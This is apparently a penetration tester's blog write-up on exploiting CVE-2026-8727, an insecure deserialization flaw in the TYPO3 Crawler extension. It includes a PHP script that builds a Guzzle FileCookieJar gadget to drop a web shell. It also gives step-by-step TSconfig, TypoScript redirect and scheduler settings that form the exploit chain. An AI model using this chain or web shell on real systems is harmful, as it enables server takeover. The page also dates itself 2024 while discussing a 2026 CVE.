Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

TYPO3 Crawler Extension RCE (CVE-2026-8727)

This article describes the exploitation path for CVE-2026-8727 by abusing an insecure deserialization vulnerability to gain Remote Code Execution (RCE) in TYPO3. Last modified: 07/23/2024 10:32 AM

Table of Contents

  1. Introduction
  2. Scheduler
  3. Crawler
  4. Generating the Payload
  5. Final Exploit Chain
  6. Timeline

During a long-term security engagement, I was finally able to take over an administrative user account in a TYPO3 instance and access their backend. However, I realised that normal administrators are not able to upload PHP-files or install extensions due to site's strict configuration. What I needed was a so called maintainer account. At this point I thought my journey came to an end. Even after reviewing open CVEs for the TYPO3 version in use, I could not see any way forward. The only CVE which seemed interesting to me was CVE-2025-47940, which states, that "(...) administrator-level backend users without system maintainer privileges can escalate their privileges and gain system maintainer access.(...)". Exactly, what I needed! Unfortunately, I could not find any details, exploits or proof-of-concepts for this CVE but it motivated me enough to dig deeper.

What caught my eye was the TYPO3 Scheduler. It allows the creation of either periodically repeating tasks or manual single-run tasks. However, only a predefined set of tasks can be selected:

TYPO3 Scheduler Predefined Tasks

The Execute sonsole commands task seemed very interesting, but again, only a set of predefined entries could be selected:

TYPO3 Scheduler Predefined Console Commands

Again, I was lost. No injection was possible, even grepping the source code for maybe hidden tasks or console commands was pointless. So I had to dig deeper again, look through every task and every console command to find another entry point.

One of the installed extensions was the TYPO3 Crawler. Moving straight forward to the source code, I found an very interesting line of code. In the GuzzleExecutionStrategy (crawler/Classes/CrawlStrategy/GuzzleExecutionStrategy.php) on line 60, you can find the following snippet, which sends an HTTP request and handles the result:

try {
  $url = (string) $url;
  $response = $this->getResponse($url, $options);
  if ($response->hasHeader('X-T3Crawler-Meta')) {
    return unserialize($response->getHeaderLine('X-T3Crawler-Meta'));
  }
  return [
  'errorlog' => ['Response has no X-T3Crawler-Meta header'],
  'vars' => [
  'status' => $response->getStatusCode() . ' ' . $response->getReasonPhrase(),
  ],
  ];
}
(...)

Nice! We found an insecure deserialization of untrusted data, as the function uses unserialize on the returned header. Now exploiting this vulnerability takes a few extra steps, since the TYPO3 code sets this header at some point and it cannot be overwritten. Even when using TypoScript or editing the page's TSconfig did not work for me. Instead, I used a page redirection, so the crawler visits my site where I could set the header with my desired payload.

Creating a working payload was not too simple. PHPGGC provides an easy-to-use generator for a large set of payloads, but I still encountered some issues: When PHP serializes objects with private class properties, a NULL-byte is used. According to the HTTP standard, NULL-bytes cannot be sent as a header value. That's where I jumped into the source code again and tried to get a working payload. I ended up with creating an \GuzzleHttp\Cookie\FileCookieJar object, which writes data to a given file when __destruct is being called. This payload is equivalent to PHPGGC's Guzzle/FW1.

<?php

require_once "./vendor/autoload.php";

$destination = "/srv/http/poc.php";
$content = "<?=system(\$_REQUEST['c']);?>";

$cookieJar = new \GuzzleHttp\Cookie\FileCookieJar($destination, true);
$cookieJar->setCookie(new \GuzzleHttp\Cookie\SetCookie([
"Name" => 'a',
"Value" => $content,
"Domain" => 'b',
]));

$serialized = serialize($cookieJar);
echo $serialized . PHP_EOL;

When this object is deserialized and later on destroyed, it will create a file at the given $destination. Due to the way the FileCookieJar saves it's content, the target file will be in JSON format, but with our $content included.

Important to mention before generating the payload, the following changes must be made:

Now we have all pieces together. To execute this exploit, the following steps have to be taken

  1. Create an empty page or use an existing one. Remember the ID.
  2. Adjust the TSconfig (found in the Resources tab) as follows:
    tx_crawler.crawlerCfg.paramSets.test =
    tx_crawler.crawlerCfg.paramSets.test {
      procInstrFilter = tx_indexedsearch_reindex
    }
  3. Navigate to Site-Management -> TypoScript, or in older versions to Templates and edit the page's TypoScript as follows:
    config.additionalHeaders {
      10 {
        header = Location: https://[your-server]/
        replace = 1
      }
    }
    
  4. The endpoint given in the redirect has to return the X-T3Crawler-Meta header
  5. Create a new scheduler task with the following configuration:
    Scheduler Configuration
  6. Save the scheduler task and execute it. The target file should be created now.